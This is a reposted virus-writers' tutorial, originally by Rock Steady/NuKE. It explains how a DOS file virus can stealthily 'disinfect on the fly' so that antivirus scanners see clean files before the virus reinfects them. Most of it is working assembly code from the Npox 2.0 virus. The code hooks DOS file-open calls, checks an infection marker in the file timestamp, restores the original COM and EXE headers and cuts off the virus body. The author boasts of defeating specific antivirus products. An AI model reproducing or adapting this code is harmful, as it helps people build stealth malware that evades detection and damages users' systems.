Disinfecting an Infected File

This tutorial was originally written by Rock Steady/NuKE and edited by me.

The BEST advantage a virus can have is `Disinfecting of Fly' as we must try to basically hide the virus as well as possible! And nowadays Anti- Virus programs are going crazy. As I remember at the time Npox 2.0 was developed it would Disinfect every file opened by F-prot and Scan and
when the Scanner found nothing and closed the file to go on to the next Npox would re-infect them. Truly can cause havoc, As a matter of fact Frisk didn't like this as I had some `Anti Fuck-Prot' routines and he added his own routine to open files by Int21h/6C00h, as Npox only
disinfected on Int21h/3Dh, however to make the virus disinfect on Int21h/6C00h, doesn't require much work, simply to take the ASCIIZ string at DS:SI and put SI into DX so we have DS:DX pointing to it, then run this routine.

The Basic idea on disinfection is this...
-For .COM files
Restore the first 3 bytes original Bytes of the program, these 3 bytes are usually somewhere inside the virus, and then simply remove the virus from the end of the .COM file! We do this by jumping to the end of the COM file and subtracting the Virus size from the File size and that new value is the original file size!

NOTE: if you write a virus that its length changes (Polymorphic) its wise to save the original Filesize to be infected before hand.

-For .EXE files & Overlays
This procedure is not different, just that if you changed CS:IP & SP:SS in the EXE header, simply restore the original values, or to save time, simple save the Original EXE header (first 1b bytes) in the virus and right that to the beginning as I did for Npox 2.0 Then Subtract yourself from the original size and cut it off!

I will now follow thru the Npox 2.0 virus routine Closely so you can understand this process.

Okay first thing you would want to do is CHECK if this is If the virus infects COMs & EXEs, do not waste your time looking thru other extensions, or for tight code you can waste your time and "HOPE" the `infection' marker will fail! Meaning if the virus uses the seconds field set to 60 (as Npox) then naturally only INFECTED files will have a time stamp of 60! And this routine is not needed...

opening_file: call check_extension ;Check for .COM extension
jnc open_file2 ;YES; Jmp & Disinfect
call check_exten_exe ;Check for .EXE extension
jnc open_file2 ;YES; Jmp & disinfect
jmp dword ptr cs:[int21] ;Other wise goto DOS

; At this point the file has an .COM or .EXE extension, so we continue

open_file2: push ax ;Save AX
mov ax,3d02h ;Ready to open
call calldos21 ;Do it!

;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h"
;command, as the virus will intercept it, and will come to this routine
;and it will continue over and over again, Never ending l
;stack gets too big, overwrite the code and the system ja
;in about 2 seconds...
jnc open_file1 ;No Error Continue
pop ax ;restore
iret ;Exit

open_file1: push bx
push cx
push dx
push ds
mov bx,ax ;BX=File handler
mov ax,5700h ;Get file TimeStamp
call calldos21

mov al,cl ;move seconds into al
or cl,1fh ;Left just seconds
dec cx ;60 Seconds
xor al,cl ;cmp
jnz opening_exit3 ;NOT 60 seconds exit!

dec cx
mov word ptr cs:[old_time],cx ;Save
mov word ptr cs:[old_date],dx ;Save Date Stamp

mov ax,4202h ;Goto the End of File
xor cx,cx
xor dx,dx
call calldos21

mov cx,dx ;Save the filesize
mov dx,ax ;we will need it later
;to subtract the virus
push cx ;size fromit...
push dx ;Save it...

Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header)in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at the VERY END! Since the buffer I made was 1B hex bytes, it is able to hold the EXE header or 3 .com bytes, anyhow the beginning of these
bytes are the last 1B bytes, since its at the end... figure it out where you saved your 3 bytes or exe header for your virus, or use the Npox routine...

sub dx,1Bh ;Subtract 1B bytes from
sbb cx,0 ;the filesize!
mov ax,4200h ;Now our pointer will
call calldos21 ;point to the 1B bytes
;Where the COM & EXE
;original bytes are
push cs
pop ds ;CS=DS (for exes)

mov ah,3fh ;Read them into Buffer
mov cx,1Bh ;1B bytes
mov dx,offset buffer ;to our buffer
call calldos21

humm, now we got the original bytes, all we gotta do is write them back to the file's beginning...

xor cx,cx ;Goto Beginning of File
xor dx,dx ;
mov ax,4200h
call calldos21

mov ah,40h ;Write first three bytes
mov dx,offset buffer ;our buffer
mov cx,1Bh ;1B bytes for EXEs
cmp word ptr cs:[buffer],5A4Dh
je open_exe_jmp ;if EXE file jump
mov cx,3h ;if COM write only 3 bytes
open_exe_jmp: call calldos21

We wrote the original file's data back to place, now we need to cut the virus off from the file, the virus is written at the end of the file, so all we do is set our file-pointer to EOF - Virus_Size, which gives us the original file length!

pop dx ;EOF - Virus_Size
pop cx ;to get ORIGINAL File size
sub dx,virus_size ;subtract virus size
sbb cx,0
mov ax,4200h
call calldos21

Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, atour new ptr location, what we do it use does to crop it, by writing 0 bytes to the new location, DOS will make that new location the NEW EoF and in result cutting off the virus and deleting its sector in the fat.

mov ah,40h ;Write new EOF
xor cx,cx ;Zero Bytes
call calldos21 ;doit

mov cx,word ptr cs:[old_time] ;Restore file time
mov dx,word ptr cs:[old_date] ;Restore file date
mov ax,5701h
int 21h

mov ah,3eh ;Close File
call calldos21

opening_exit3: pop ds
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21] ;Return to DOS...

ahh, the file is now Disinfected, now we safely return it to DOS and DOS may now open the file for inspection...

p/s: one in the italic form is not our code...it's comment...

No comments: